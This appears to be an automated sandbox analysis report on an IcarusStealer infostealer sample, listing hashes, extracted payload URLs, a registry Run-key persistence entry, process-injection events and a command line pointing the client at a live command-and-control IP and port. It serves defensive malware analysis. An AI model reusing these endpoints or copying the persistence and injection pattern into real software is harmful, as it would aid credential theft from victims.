icarusstealer | 3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

General

Target

3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
Size

3.9MB
MD5

65a683124fc4ca1839e95322370e2b0d
SHA1

7a7eafcfa4349e40cb15ab30b5c64d3415e60b96
SHA256

3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f
SHA512

14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f
SSDEEP

49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score

10^/10

icarusstealer discovery persistence stealer

Malware Config

Extracted

Family

icarusstealer

Attributes

payload_url
https://blackhatsec.org/add.jpg

https://blackhatsec.org/remove.jpg

Signatures

IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
stealer icarusstealer

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OcuulusUpdater = "C:\\Users\\Admin\\Music\\OcoulsUpdater\\EyesUpdater.exe"	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1084 set thread context of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 2340 set thread context of 3376	2340	csc.exe	91

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 1084 wrote to memory of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 1084 wrote to memory of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 1084 wrote to memory of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 1084 wrote to memory of 2340	1084	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	89
PID 2340 wrote to memory of 2736	2340	csc.exe	90
PID 2340 wrote to memory of 2736	2340	csc.exe	90
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91
PID 2340 wrote to memory of 3376	2340	csc.exe	91

C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
"C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:2736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
    3⤵
    PID:3376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1084-10-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-0-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-6-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-4-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-7-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-18-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/1084-3-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-9-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/1084-2-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/1084-1-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2340-8-0x0000000001440000-0x00000000014C2000-memory.dmp

Filesize
520KB

Download
memory/2340-12-0x00000000034C0000-0x0000000003552000-memory.dmp

Filesize
584KB

Download
memory/2340-13-0x000000007488E000-0x000000007488F000-memory.dmp

Filesize
4KB

Download
memory/2340-16-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/2340-11-0x0000000003420000-0x00000000034BC000-memory.dmp

Filesize
624KB

Download
memory/2340-19-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/3376-14-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads